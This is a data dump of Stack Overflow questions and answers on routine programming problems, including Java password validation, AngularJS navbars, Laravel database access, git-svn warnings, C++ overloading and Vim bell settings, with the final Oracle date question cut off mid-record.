boolean upper = false;
boolean lower = false;
System.out.println("Setting up your password is easy. To view requirements enter Help.");
System.out.print("Enter password or help: ");
password = stdIn.next();
ch = password.charAt(0);
while (cont.equalsIgnoreCase("y"))
{
while (password.isEmpty())
{
System.out.print("Enter password or help: ");
password = stdIn.next();
}
if (password.equalsIgnoreCase("help"))
{
System.out.println("Password must meet these requirements." +
"\nMust contain 8 characters.\nMust contain 1 lower case letter." +
"\nMust contain 1 upper case letter.\nMust contain 1 numeric digit." +
"\nMust contain 1 special character !@#$%^&*\nDoes not contain the word AND or NOT.");
password = "";
}
else if (password.length() < 8)
{
System.out.println("Invalid password - Must contain 8 charaters.");
password = "";
}
else if (!(Character.isLowerCase(ch)))
{
for (int i=1; i<password.length(); i++)
{
ch = password.charAt(i);
if (!Character.isLowerCase(ch))
{
System.out.println("Invalid password - Must have a Lower Case character.");
password = "";
}
}
}
else if (!(Character.isUpperCase(ch)))
{
for (int i=0; i<password.length(); i++)
{
ch = password.charAt(i);
if (!Character.isUpperCase(ch))
{
System.out.println("Invalid password - Must have an Upper Case character.");
password = "";
}
}
}
else
{
System.out.println("Your password is " + password);
System.out.print("Would you like to change your password? Y/N: ");
cont = stdIn.next();
password = "";
}
while (!cont.equalsIgnoreCase("y") && !cont.equalsIgnoreCase("n"))
{
System.out.print("Invalid Answer. Please enter Y or N: ");
cont = stdIn.next();
}
}
}
}
</code></pre> | 16,127,946 | 9 | 1 | null | 2013-04-21 04:17:27.29 UTC | 22 | 2019-04-24 10:38:38.373 UTC | 2017-09-10 09:15:05.09 UTC | null | 4,165,377 | null | 2,303,615 | null | 1 | 56 | java | 236,553 | <p>To determine if a String contains an upper case and a lower case char, you can use the following:</p>
<pre><code>boolean hasUppercase = !password.equals(password.toLowerCase());
boolean hasLowercase = !password.equals(password.toUpperCase());
</code></pre>
<p>This allows you to check:</p>
<pre><code>if(!hasUppercase)System.out.println("Must have an uppercase Character");
if(!hasLowercase)System.out.println("Must have a lowercase Character");
</code></pre>
<p>Essentially, this works by checking if the String is equal to its entirely lowercase, or uppercase equivalent. If this is not true, then there must be at least one character that is uppercase or lowercase.</p>
<p>As for your other conditions, these can be satisfied in a similar way:</p>
<pre><code>boolean isAtLeast8 = password.length() >= 8;//Checks for at least 8 characters
boolean hasSpecial = !password.matches("[A-Za-z0-9 ]*");//Checks at least one char is not alpha numeric
boolean noConditions = !(password.contains("AND") || password.contains("NOT"));//Check that it doesn't contain AND or NOT
</code></pre>
<p>With suitable error messages as above.</p> |
16,268,606 | Responsive dropdown navbar with angular-ui bootstrap (done in the correct angular kind of way) | <p>I've created a JSFiddle with a dropdown navbar using angular-ui-boostrap's module "ui.bootstrap.dropdownToggle": <strong><a href="http://jsfiddle.net/mhu23/2pmz5/">http://jsfiddle.net/mhu23/2pmz5/</a></strong></p>
<pre><code><div class="navbar navbar-fixed-top">
<div class="navbar-inner">
<div class="container"> <a class="brand" href="#">
My Responsive NavBar
</a>
<ul class="nav">
<li class="divider-vertical"></li>
<li class="dropdown"> <a href="#" class="dropdown-toggle">
Menu 1 <b class="caret"></b>
</a>
<ul class="dropdown-menu">
<li><a href="#/list">Entry 1</a>
</li>
<li><a href="#/list">Entry 2</a>
</li>
</ul>
</li>
....
</ul>
</div>
</div>
</div>
</code></pre>
<p>As far as I understand this is the proper, angular kind of way to implement such a dropdown menu. The "wrong" way, in terms of angularjs, would be to include bootstrap.js and to use "data-toggle="dropdown"... Am I right here?</p>
<p>Now I'd like to add responsive behaviour to my navbar as done in the following Fiddle:
<a href="http://jsfiddle.net/ghtC9/6/">http://jsfiddle.net/ghtC9/6/</a></p>
<p>BUT, there's something I don't like about the above solution. The guy included bootstrap.js!</p>
<p>So what would be the correct angular kind of way to add responsive behaviour to my existing navbar?</p>
<p>I obviously need to use bootstraps responsive navbar classes such as "nav-collapse collapse navbar-responsive-collapse". But I don't know how...</p>
<p>I'd really appreciate your help!</p>
<p>Thank you in advance!
Michael</p> | 16,400,663 | 4 | 0 | null | 2013-04-28 22:18:46.69 UTC | 47 | 2016-07-09 12:13:37.687 UTC | null | null | null | null | 2,330,149 | null | 1 | 76 | angularjs|angular-ui|angular-ui-bootstrap | 138,531 | <p>You can do it using the "collapse" directive: <a href="http://jsfiddle.net/iscrow/Es4L3/" rel="noreferrer">http://jsfiddle.net/iscrow/Es4L3/</a>
(check the two "Note" in the HTML).</p>
<pre><code> <!-- Note: set the initial collapsed state and change it when clicking -->
<a ng-init="navCollapsed = true" ng-click="navCollapsed = !navCollapsed" class="btn btn-navbar">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</a>
<a class="brand" href="#">Title</a>
<!-- Note: use "collapse" here. The original "data-" settings are not needed anymore. -->
<div collapse="navCollapsed" class="nav-collapse collapse navbar-responsive-collapse">
<ul class="nav">
</code></pre>
<p>That is, you need to store the collapsed state in a variable, and changing the collapsed also by (simply) changing the value of that variable.</p>
<hr>
<p><strong>Release 0.14 added a <code>uib-</code> prefix to components:</strong></p>
<p><a href="https://github.com/angular-ui/bootstrap/wiki/Migration-guide-for-prefixes" rel="noreferrer">https://github.com/angular-ui/bootstrap/wiki/Migration-guide-for-prefixes</a></p>
<p>Change: <code>collapse</code> to <code>uib-collapse</code>.</p> |
55,159,973 | How To Solve This Problem : Cross-Origin Read Blocking (CORB) blocked cross-origin response | <p>Warning is : </p>
<p><strong>jquery-1.9.1.js:8526 Cross-Origin Read Blocking (CORB) blocked cross-origin response <a href="https://www.metaweather.com/api/location/search/?query=lo" rel="noreferrer">https://www.metaweather.com/api/location/search/?query=lo</a> with MIME type application/json. See <a href="https://www.chromestatus.com/feature/5629709824032768" rel="noreferrer">https://www.chromestatus.com/feature/5629709824032768</a> for more details.</strong></p>
<p>My Code is:</p>
<pre><code><!DOCTYPE html>
<html>
<head>
<title> Search API </title>
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/css/bootstrap.min.css">
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js">
</script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.4.0/js/bootstrap.min.js">
</script>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css">
</head>
<body>
<div class="container">
<h2>API Search Whether</h2>
<div class="row">
<div class="col-md-6">
<input type="text" name="name" id="name" class="form-control">
</div>
<div class="col-md-2">
<button type="button" id="search" class="btn btn-primary btn-lg">Search</button>
</div>
</div>
<br><br><br><br>
<div class="row">
<table class="table" border="2px">
<thead>
<tr style="color:blue; font-weight:bold;">
<td >Domain</td>
<td>Suffix</td>
<td>Expiry Date</td>
<td>Created At</td>
<td>Country</td>
</tr>
</thead>
<tbody id="tbody">
</tbody>
</table>
</div>
</div>
<script src="https://unpkg.com/sweetalert/dist/sweetalert.min.js">
</script>
<script src="https://cdn.jsdelivr.net/npm/sweetalert2@8"></script>
<script type="text/javascript">
$("#search").click(function ()
{
$("#tbody").html("");
var $this = $(this);
var loadingText = '<i class="fa fa-circle-o-notch fa-spin"></i>Loading...';
$("#search").attr("disabled", true);
if ($(this).html() !== loadingText) {
$this.data('original-text', $(this).html());
$this.html(loadingText);
}
var name = $('#name').val();
var i;
$.ajax({
url: "https://www.metaweather.com/api/location/search/?query="+name,
dataType:'json',
headers: function(xhr){
xhr.setRequestHeader('x-xss-protection' ,'1; mode=block');
xhr.setRequestHeader('Content-Language' ,'en');
xhr.setRequestHeader('x-content-type-options', 'nosniff');
xhr.setRequestHeader('strict-transport- security' , 'max-age=2592000; includeSubDomains');
xhr.setRequestHeader('Vary' , 'Accept-Language, Cookie');
xhr.setRequestHeader('Allow' , 'GET, HEAD,OPTIONS');
xhr.setRequestHeader('x-frame-options' ,'DENY');
xhr.setRequestHeader('Content-Type' , 'application/json');
xhr.setRequestHeader('X-Cloud-Trace-Context' , 'f2dd29a5a475c5489584b993c3ce670d');
xhr.setRequestHeader('Date' , 'Thu, 14 Mar 2019 09:43:04 GMT');
xhr.setRequestHeader('Server' , 'Google Frontend');
xhr.setRequestHeader('Content-Length' , '100');
},
success: function (result) {
var f = result;
var content = '';
var i;
for (i = 0; i <= f[i] ; i++) {
content += "<tr>";
content = content+"<td>"+f[i].title+"</td>";
content = content + "</tr>";
}
$("#tbody").append(content);
$this.html($this.data('original-text'));
$("#search").attr("disabled", false);
}});
});
</script>
</body>
</code></pre>
<p>I Tried last 4 Hours But No Solution...
Advance Thank You For Help...</p> | 55,173,329 | 2 | 7 | null | 2019-03-14 10:18:24.247 UTC | 4 | 2021-08-23 09:44:06.26 UTC | 2019-03-14 11:03:25.083 UTC | user9941177 | null | null | 10,684,059 | null | 1 | 7 | jquery|json|ajax|cross-origin-read-blocking | 55,044 | <p>I don't consider this an absolute answer because I am also having the same bug on a chrome extension I built. Now, following the suggestion from CORB (Cross Origin Read Blocking) The Chrome team updated the security of the browser in version 73+ which guards against the spectre and meltdown vulnerability.</p>
<p>On this link, they provide the means on how developers should go about fixing errors from this update: <a href="https://www.chromestatus.com/feature/5629709824032768" rel="noreferrer">https://www.chromium.org/Home/chromium-security/corb-for-developers</a></p>
<p>The parent resource for this is: <a href="https://www.chromestatus.com/feature/5629709824032768" rel="noreferrer">https://www.chromestatus.com/feature/5629709824032768</a> when I find my fix, I'll be updating this post with it.</p> |
22,371,124 | How to get activity context into a non-activity class android? | <p>I have a Activity class from where I am passing some information to a helper class(Non-activity) class. In the helper class I want to use the <code>getSharedPreferences()</code>. But I am unable to use it as it requires the activity context.</p>
<p>here is my code:</p>
<pre><code> class myActivity extends Activity
{
@Override
protected void onCreate(Bundle savedInstanceState)
{
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.home);
Info = new Authenticate().execute(ContentString).get();
ItemsStore.SetItems(Info);
}
}
class ItemsStore
{
public void SetItems(Information info)
{
SharedPreferences localSettings = mContext.getSharedPreferences("FileName", Context.MODE_PRIVATE);
SharedPreferences.Editor editor = localSettings.edit();
editor.putString("Url", info.Url);
editor.putString("Email", info.Email);
}
}
</code></pre>
<p>ANy idea how this can be achieved?</p> | 22,371,203 | 4 | 2 | null | 2014-03-13 06:48:43.633 UTC | 4 | 2017-12-05 10:20:35.32 UTC | 2017-12-05 10:20:35.32 UTC | null | 6,919,229 | null | 3,354,605 | null | 1 | 14 | java|android|android-context | 52,357 | <p>Try this:</p>
<pre><code>class myActivity extends Activity
{
@Override
protected void onCreate(Bundle savedInstanceState)
{
// TODO Auto-generated method stub
super.onCreate(savedInstanceState);
setContentView(R.layout.home);
Info = new Authenticate().execute(ContentString).get();
ItemsStore.SetItems(Info, getApplicationContext());
}
}
class ItemsStore
{
public void SetItems(Information info, Context mContext)
{
SharedPreferences localSettings = mContext.getSharedPreferences("FileName",
Context.MODE_PRIVATE);
SharedPreferences.Editor editor = localSettings.edit();
editor.putString("Url", info.Url);
editor.putString("Email", info.Email);
}
}
</code></pre> |
27,079,066 | TestFight beta testing for internal testers - Build state is "processing" | <p>I've been using TestFlight for a while but this is the first time I'm submitting a build for beta testing directly from iTunesConnect since Apple bought TestFlight itself.</p>
<p>I've been experiencing a weird behaviour (or maybe just the Apple's expected behaviour).</p>
<p>I've added the user to my team (they've admin role), and I've selected them as part of the TestFlight tester in the dedicated panel. I've uploaded a build, switched the TestFlight Beta Testing on in the Build tab and selected the Internal Testers (just one in the screenshot below) I would like to receive that build.</p>
<p>Then...nothing happens, the state is still "Processing" (what?? shouldn't it be immediate?) the tester doesn't receive any invitation and I'm stuck. There's obviously something I'm missing here. </p>
<p>Beside, even if one tester has already been invited, the panel still shows "To start testing, invite at least one tester". TestFlight was such a good product once...</p>
<p>The two snapshot below show the state of my iTunesConnect panel. Any idea?</p>
<p><img src="https://i.stack.imgur.com/fsbkz.png" alt="Build tab">
<img src="https://i.stack.imgur.com/65g2F.png" alt="Internal tester tab"></p> | 27,079,405 | 12 | 4 | null | 2014-11-22 15:29:12.76 UTC | 33 | 2018-04-18 05:06:27.863 UTC | 2015-09-22 09:23:53.54 UTC | null | 3,950,397 | null | 1,204,061 | null | 1 | 105 | ios|app-store-connect|testflight|beta-testing | 35,325 | <p>It turned out that "Processing" a build, even if it is for internal testing only (i.e. the 25 accounts associated with your team) may take a couple of hours. Even if the binary has already been validated by Xcode and <a href="https://help.apple.com/itc/apploader/" rel="nofollow noreferrer">Application loader</a>. </p>
<p>I'm posting this as an answer since I've found no evidence about how long the "Processing" state is supposed to be. Given the length of some of the reviewing process it could be seconds, minutes, hours or days so it's nice to know that in this case it lasted a couple of hours.</p>
<p>Now my console status is this one.</p>
<p><img src="https://i.stack.imgur.com/ox4ag.png" alt="iTunes connect screenshot."></p> |
21,781,096 | Ternary operator behaviour inconsistency | <p>Following expression is ok</p>
<pre><code>short d = ("obj" == "obj" ) ? 1 : 2;
</code></pre>
<p>But when you use it like below, syntax error occurs</p>
<pre><code>short d = (DateTime.Now == DateTime.Now) ? 1 : 2;
</code></pre>
<p>Cannot implicitly convert type 'int' to 'short'. An explicit conversion exists (are you missing a cast?)</p>
<p>Can anyone explain why this is so?</p>
<p>Is there a difference between comparing string-to-string and datetime-to-datetime in a ternary operator, why?</p>
<p>I would be grateful if you could help me.</p> | 21,781,356 | 3 | 6 | null | 2014-02-14 13:48:07.933 UTC | 4 | 2014-02-14 17:50:25.453 UTC | 2014-02-14 17:50:25.453 UTC | null | 41,071 | null | 593,506 | null | 1 | 51 | c#|casting|int|conditional-operator|short | 1,595 | <p><a href="http://www.microsoft.com/en-us/download/details.aspx?id=7029" rel="noreferrer">C# language specification, version 5</a>, section 6.1.9:</p>
<blockquote>
<p>An implicit constant expression conversion permits the following conversions:</p>
<ul>
<li>A constant-expression (§7.19) of type int can be converted to type sbyte, byte, short, ushort, uint, or ulong, provided the value of the constant-expression is within the range of the destination type.</li>
</ul>
</blockquote>
<p>Your first example <em>is</em> a constant expression, because it can be evaluated at compile time. But see section 7.19 for more details:</p>
<blockquote>
<p>Only the following constructs are permitted in constant expressions:</p>
<ul>
<li>Literals (including the null literal).</li>
</ul>
</blockquote>
<p>[...]</p>
<blockquote>
<ul>
<li>The predefined +, –, *, /, %, <<, >>, &, |, ^, &&, ||, ==, !=, <, >, <=, and >= binary operators, provided each operand is of a type listed above.</li>
<li>The ?: conditional operator.</li>
</ul>
</blockquote> |
17,489,518 | How to detect a mobile device manufacturer and model programmatically in Android? | <p>I want to find device specification of a mobile phone for examples, the device manufacturer, model no ( and may be types of sensors in the device, wifi chipset etc..). I want to get the device manufacture/model number (eg. Samsung GT-I9100 i.e Galaxy S2) programmatically. The manufacture/model number is also used in Google Play when installing an app. I want to use this information to make some configuration changes in my hardware dependent app (for eg. power measurement). </p> | 17,489,574 | 3 | 1 | null | 2013-07-05 12:59:08.457 UTC | 10 | 2018-05-21 19:23:37.197 UTC | null | null | null | null | 1,020,149 | null | 1 | 67 | android|device | 70,787 | <p>You can get as below:</p>
<pre><code>String deviceName = android.os.Build.MODEL;
String deviceMan = android.os.Build.MANUFACTURER;
</code></pre>
<p>For more other device details, Please refer this document: <strong><a href="http://developer.android.com/intl/ja/reference/android/os/Build.html" rel="noreferrer">android.os.Build</a></strong></p> |
43,169,240 | php artisan migrate - SQLSTATE[HY000] [1045] Access denied for user 'laravel'@'localhost' | <p>I want to set up and learn Laravel following <a href="https://laracasts.com/series/laravel-from-scratch-2017/episodes/4" rel="noreferrer">this course</a></p>
<p>When I try to use the command <code>php artisan migrate</code> I get this error:</p>
<pre><code>[Illuminate\Database\QueryException]
SQLSTATE[HY000] [1045] Access denied for user 'laravel'@'localhost' (using password: NO) (SQL: select * from information_schema.tables whe
re table_schema = laravel and table_name = migrations)
[PDOException]
SQLSTATE[HY000] [1045] Access denied for user 'laravel'@'localhost' (using password: NO)
</code></pre>
<p>I have looked for answers. I figured I may have to make some changes in the <code>.env</code> file, but I don't know what, and nothing I have tried so far has worked.</p>
<pre><code>DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=laravel
DB_PASSWORD=
</code></pre>
<p>I'm using Ubuntu 16.04, not a Mac OS X as in the video, so I wonder what should I do differently? Is there some MySQL setting I did not set correctly?</p> | 43,179,828 | 24 | 3 | null | 2017-04-02 14:02:54.583 UTC | 5 | 2022-06-01 07:26:56.993 UTC | 2020-02-15 17:48:37.06 UTC | null | 7,508,700 | null | 6,560,773 | null | 1 | 24 | php|laravel|laravel-5 | 113,094 | <p>You don't have a user named 'laravel'.
You should change the DB_USERNAME to the one you're actually using to access your DB.
Mostly it's root by default so the changes in .env should be </p>
<pre><code>DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=laravel
DB_USERNAME=root
DB_PASSWORD=
</code></pre> |
9,429,922 | git svn cherry pick ignored warning | <p>When I run <code>git svn fetch</code> it sometimes prints following warning:</p>
<pre><code>W:svn cherry-pick ignored (/path/in/svn:<svn revision number list>) missing 55 commit(s) (eg 9129b28e5397c41f0a527818edd344bf264359af)
</code></pre>
<p>What this warning is about?</p> | 9,437,882 | 1 | 3 | null | 2012-02-24 11:23:43.903 UTC | 7 | 2012-06-01 11:23:18.117 UTC | null | null | null | null | 471,149 | null | 1 | 36 | git|git-svn | 4,754 | <p>When someone does a "cherry-pick merge" with Subversion, Subversion records the commit that was merged in the metadata for the files and folders involved.</p>
<p>When you do a <code>git svn fetch</code>, Git sees that merge metadata, and tries to interpret it as a merge between the Git remote branches. All this message means is that Git tried to do that, but failed, so it'll record it as a regular commit rather than a merge.</p>
<p>It's not something you need to worry about unless you're seeing bugs in how Git picks up Subversion commits.</p>
<p>In more detail:</p>
<p>Say you have a Subversion repository with two branches <code>A</code> and <code>B</code>, with a matching Git svn repository:</p>
<pre><code>A B
* r6
| * r5
* | r4
| * r3
|/
* r2
* r1
</code></pre>
<p>If you were to reintegrate branch <code>B</code> back into branch <code>A</code>, you'd use a command in a branch <code>A</code> working copy like <code>svn merge -r 3:HEAD ^/branches/B</code> or just <code>svn merge --reintegrate ^/branches/B</code>. Subversion would record metadata in <code>svn:mergeinfo</code> tags recording that this merge had taken place, and your next <code>git svn fetch</code> will see this metadata, see that branch <code>B</code> has been reintegrated into branch <code>A</code>, and record the corresponding commit in its history as a merge too.</p>
<p>If you just wanted a single commit from branch <code>B</code> in branch <code>A</code> (say r3 added a feature you need), but you don't want to reintegrate the entire branch yet, you'd instead use a Subversion command like <code>svn merge -c 3 ^/branches/B</code>. Again, Subversion would record merge metadata, and Git would see this and try to work out if it could record a branch merge as in the previous example. In this case it can't: branch <code>A</code> doesn't contain anything like branch <code>B</code>'s r5. That's what triggers this warning.</p> |
9,568,852 | Overloading by return type | <p>I read few questions here on SO about this topic which seems yet confusing to me. I've just begun to learn C++ and I haven't studied templates yet or operator overloading and such.</p>
<p>Now is there a simple way to overload</p>
<pre><code>class My {
public:
int get(int);
char get(int);
}
</code></pre>
<p>without templates or strange behavior? or should I just </p>
<pre><code>class My {
public:
int get_int(int);
char get_char(int);
}
</code></pre>
<p>?</p> | 9,568,890 | 11 | 4 | null | 2012-03-05 15:04:37.313 UTC | 30 | 2020-06-09 23:48:30.49 UTC | null | null | null | null | 493,122 | null | 1 | 92 | c++|overloading | 96,184 | <p>No there isn't. You can't overload methods based on return type.</p>
<p>Overload resolution takes into account the <strong>function signature</strong>. A function signature is made up of:</p>
<ul>
<li>function name</li>
<li>cv-qualifiers</li>
<li>parameter types</li>
</ul>
<p>And here's the quote:</p>
<p><strong>1.3.11 signature</strong></p>
<blockquote>
<p>the information about a function that participates in overload
resolution (13.3): its parameter-type-list (8.3.5) and, if the
function is a class member, the cv-qualifiers (if any) on the function
itself and the class in which the member function is declared. [...]</p>
</blockquote>
<p><strong>Options:</strong></p>
<p>1) change the method name:</p>
<pre><code>class My {
public:
int getInt(int);
char getChar(int);
};
</code></pre>
<p>2) out parameter:</p>
<pre><code>class My {
public:
void get(int, int&);
void get(int, char&);
}
</code></pre>
<p>3) templates... overkill in this case.</p> |
9,134,795 | How to get rid of specific warning messages in python while keeping all other warnings as normal? | <p>I am doing some simple math recessively in a python script and am getting the follow warning:</p>
<blockquote>
<p>"Warning: divide by zero encountered in divide".</p>
</blockquote>
<p>To provide some context, I am taking two values and trying to find the percent difference in value <code>(a - b) / a</code> and if its above a certain range then process it, but sometimes the value of <code>a</code> or <code>b</code> is zero. </p>
<p>I want to get rid of this specific warning (at a specific line) but all the information I have found so far seems to show me how to stop all warnings (which I do not want). </p>
<p>When I used to write shell scripts, I could do something like this</p>
<pre><code>code...
more code 2 > error.txt
even more code
</code></pre>
<p>In that example, I would get the warnings for the 'code' and 'even more code' command but not for the second line. </p>
<p>Is this possible?</p> | 9,134,820 | 3 | 5 | null | 2012-02-03 20:05:34.383 UTC | 11 | 2022-05-24 15:39:09.21 UTC | 2016-05-22 15:34:21.22 UTC | null | 2,087,463 | null | 640,558 | null | 1 | 70 | python | 36,561 | <p>I'd avoid the division-by-zero in the first place:</p>
<pre><code>if a == 0:
# Break out early
# Otherwise the ratio makes sense
</code></pre>
<p>If you do want to squash that particular numpy warning on a single line, numpy provides <a href="http://docs.scipy.org/doc/numpy/reference/generated/numpy.errstate.html" rel="noreferrer">a way</a>:</p>
<pre><code>with numpy.errstate(divide='ignore'):
# The problematic line
</code></pre> |
18,234,201 | C# pass additional parameter to an event handler while binding the event at the run time | <p>I have a link button which have a regular click event :</p>
<pre><code>protected void lnkSynEvent_Click(object sender, EventArgs e)
{
}
</code></pre>
<p>And I bind this event at the runtime :</p>
<pre><code>lnkSynEvent.Click += new EventHandler(lnkSynEvent_Click);
</code></pre>
<p>Now I need the function to accept additional argument:</p>
<pre><code>protected void lnkSynEvent_Click(object sender, EventArgs e, DataTable dataT)
{
}
</code></pre>
<p>And pass the same as parameter while binding this event :</p>
<pre><code>lnkSynEvent.Click += new EventHandler(lnkSynEvent_Click, //somehow here);
</code></pre>
<p>Not sure how to achieve this.
Please help.</p>
<p>Thanks in advance.</p>
<p>Vishal</p> | 18,234,287 | 5 | 2 | null | 2013-08-14 14:15:31.007 UTC | 9 | 2022-03-03 12:18:09.59 UTC | null | null | null | null | 1,032,248 | null | 1 | 21 | c#|asp.net|methods|parameters|arguments | 30,955 | <p>You can use anonymous delegate for that:</p>
<pre><code>lnkSynEvent.Click +=
new EventHandler((s,e)=>lnkSynEvent_Click(s, e, your_parameter));
</code></pre> |
18,589,352 | How to disable Vim bells sounds? | <p>I am trying to disable the error bells on vim, both visual and audio. However I cannot get them to stay off.</p>
<p>I have the following in my <code>vimrc</code>:</p>
<pre><code>" Disable annoying beeping
set noerrorbells
set vb t_vb=
</code></pre>
<p>That doesn't work, I figured some plugin or another setting was resetting it so I added it again to the end of my <code>vimrc</code>, still no luck.</p>
<p>The only way I can get it to turn off is if I manually call <code>set vb t_vb=</code> after everything has loaded. I guess I could emulate this by adding a script to the <code>plugin/after</code> folder but I am trying to avoid that as it means it's another thing I have to set up whenever I switch to another machine.</p>
<p>You can see my full <code>vimrc</code> here: <a href="https://github.com/lerp/dotfiles/blob/master/vimrc">https://github.com/lerp/dotfiles/blob/master/vimrc</a></p> | 18,589,653 | 6 | 2 | null | 2013-09-03 09:59:07.003 UTC | 14 | 2021-12-08 10:18:43.003 UTC | 2018-05-19 10:55:58.933 UTC | null | 895,245 | null | 969,173 | null | 1 | 69 | vim|error-suppression | 46,283 | <p>Assuming you have that problem in GVim, adding the following line</p>
<pre><code>autocmd GUIEnter * set vb t_vb=
</code></pre>
<p>in your <code>if has("gui_running")</code> conditional block should help.</p>
<p>From <code>:help 'visualbell'</code>:</p>
<pre><code>Note: When the GUI starts, 't_vb' is reset to its default value.
You might want to set it again in your gvimrc.
</code></pre> |
20,359,936 | Import an existing git project into GitLab? | <p>I have an account of a Gitlab installation where I created the repository "ffki-startseite"</p>
<p>Now I want to clone the repository <code>git://freifunk.in-kiel.de/ffki-startseite.git</code> into that repository with all commits and branches, so I can start working on it in my own scope.</p>
<p>How can I import it?</p> | 50,714,527 | 11 | 3 | null | 2013-12-03 19:28:58.367 UTC | 88 | 2021-10-21 08:22:26.137 UTC | 2016-04-22 21:31:39.453 UTC | null | 1,069,083 | null | 1,069,083 | null | 1 | 176 | git|gitlab | 271,999 | <h1>Moving a project from GitHub to GitLab including issues, pull requests Wiki, Milestones, Labels, Release notes and comments</h1>
<p>There is a thorough instruction on GitLab Docs:</p>
<p><a href="https://docs.gitlab.com/ee/user/project/import/github.html" rel="nofollow noreferrer">https://docs.gitlab.com/ee/user/project/import/github.html</a></p>
<h3>tl;dr</h3>
<ul>
<li><p>Ensure that any GitHub users who you want to map to GitLab users have either:</p>
<ul>
<li>A GitLab account that has logged in using the GitHub icon - or -</li>
<li>A GitLab account with an email address that matches the public email address of the GitHub user</li>
</ul></li>
<li><p>From the top navigation bar, click + and select New project.</p></li>
<li>Select the Import project tab and then select GitHub.</li>
<li>Select the first button to List your GitHub repositories. You are redirected to a page on github.com to authorize the GitLab application.</li>
<li>Click Authorize gitlabhq. You are redirected back to GitLab's Import page and all of your GitHub repositories are listed.</li>
<li>Continue on to selecting which repositories to import.</li>
</ul>
<p><strong>But Please read the <a href="https://docs.gitlab.com/ee/user/project/import/github.html" rel="nofollow noreferrer">GitLab Docs page</a> for details and hooks!</strong></p>
<p>(it's not much)</p> |
59,787,783 | Why can't I convert from 'System.IO.StreamWriter' to 'CsvHelper.ISerializer'? | <p>Trying to write the contents of people to a CSVfile and then export it, however I am getting a build error and its failing. the error is:</p>
<p><code>cannot convert from 'System.IO.StreamWriter' to 'CsvHelper.ISerializer'</code></p>
<p>Not sure why this is happening unless as I am certain I have done it this way loads of times.</p>
<pre><code>private void ExportAsCSV()
{
using (var memoryStream = new MemoryStream())
{
using (var writer = new StreamWriter(memoryStream))
{
using (var csv = new CsvHelper.CsvWriter(writer))
{
csv.WriteRecords(people);
}
var arr = memoryStream.ToArray();
js.SaveAs("people.csv",arr);
}
}
}
</code></pre> | 59,788,409 | 1 | 3 | null | 2020-01-17 12:53:27.54 UTC | 4 | 2020-12-23 00:54:33.583 UTC | 2020-12-23 00:54:33.583 UTC | null | 1,783,163 | null | 9,931,604 | null | 1 | 34 | c#|.net-core|csvhelper | 12,509 | <p>There was a breaking change with version 13.0.0. There have been many issues with localization, so @JoshClose is requiring users to specify the <code>CultureInfo</code> they want to use. You now need to include <code>CultureInfo</code> when creating <code>CsvReader</code> and <code>CsvWriter</code>. <a href="https://github.com/JoshClose/CsvHelper/issues/1441" rel="noreferrer">https://github.com/JoshClose/CsvHelper/issues/1441</a></p>
<pre class="lang-cs prettyprint-override"><code>private void ExportAsCSV()
{
using (var memoryStream = new MemoryStream())
{
using (var writer = new StreamWriter(memoryStream))
{
using (var csv = new CsvHelper.CsvWriter(writer, System.Globalization.CultureInfo.CurrentCulture)
{
csv.WriteRecords(people);
}
var arr = memoryStream.ToArray();
js.SaveAs("people.csv",arr);
}
}
}
</code></pre>
<p><strong>Note:</strong> <code>CultureInfo.CurrentCulture</code> was the default in previous versions.</p>
<p>Consider</p>
<ul>
<li><code>CultureInfo.InvariantCulture</code> - If you control both the writing and the reading of the file. That way it will work no matter what culture the user has on his computer.</li>
<li><code>CultureInfo.CreateSpecificCulture("en-US")</code> - If you need it to work for a <a href="https://dotnetfiddle.net/e1BX7M" rel="noreferrer">particular culture</a>, independent of the user's culture.</li>
</ul> |
15,453,979 | How do I delete an item or object from an array using ng-click? | <p>I am trying to write a function that enables me to remove an item when the button is clicked but I think I am getting confused with the function - do I use <code>$digest</code>?</p>
<p>HTML & app.js:</p>
<pre><code><ul ng-repeat="bday in bdays">
<li>
<span ng-hide="editing" ng-click="editing = true">{{bday.name}} | {{bday.date}}</span>
<form ng-show="editing" ng-submit="editing = false">
<label>Name:</label>
<input type="text" ng-model="bday.name" placeholder="Name" ng-required/>
<label>Date:</label>
<input type="date" ng-model="bday.date" placeholder="Date" ng-required/>
<br/>
<button class="btn" type="submit">Save</button>
<a class="btn" ng-click="remove()">Delete</a>
</form>
</li>
</ul>
$scope.remove = function(){
$scope.newBirthday = $scope.$digest();
};
</code></pre> | 15,454,424 | 12 | 4 | null | 2013-03-16 19:53:42.34 UTC | 43 | 2021-03-15 14:01:56.603 UTC | 2013-03-16 21:06:02.91 UTC | null | 215,945 | null | 583,916 | null | 1 | 266 | html|angularjs|edit | 483,780 | <p>To remove item you need to remove it from array and can pass <code>bday</code> item to your remove function in markup. Then in controller look up the index of item and remove from array</p>
<pre><code><a class="btn" ng-click="remove(item)">Delete</a>
</code></pre>
<p>Then in controller:</p>
<pre><code>$scope.remove = function(item) {
var index = $scope.bdays.indexOf(item);
$scope.bdays.splice(index, 1);
}
</code></pre>
<p>Angular will automatically detect the change to the <code>bdays</code> array and do the update of <code>ng-repeat</code></p>
<p>DEMO: <a href="http://plnkr.co/edit/ZdShIA?p=preview" rel="noreferrer">http://plnkr.co/edit/ZdShIA?p=preview</a></p>
<p>EDIT: If doing live updates with server would use a service you create using <code>$resource</code> to manage the array updates at same time it updates server</p> |
9,582,243 | java.sql.SQLException: ORA-01843: not a valid month | <p>I am getting the following error when inserting data into my oracle database.</p>
<pre><code>java.sql.SQLException: ORA-01843: not a valid month
</code></pre>
<p>In database date is as: dd-MMM-yy (06-MAR-12)<br>
I am converting 06-03-2012 to dd-MMM-yy by the following method:</p>
<pre><code>String s="06-03-2012";
String finalexampledt = new SimpleDateFormat("dd-MMM-yy").format(new SimpleDateFormat("dd-MM-yyyy").parse(s));
</code></pre>
<p>So i got 06-Mar-12 which is same as the above database date format still i am getting the error. I am inserting as:</p>
<p>in index.jsp</p>
<pre><code> String todaydate="";
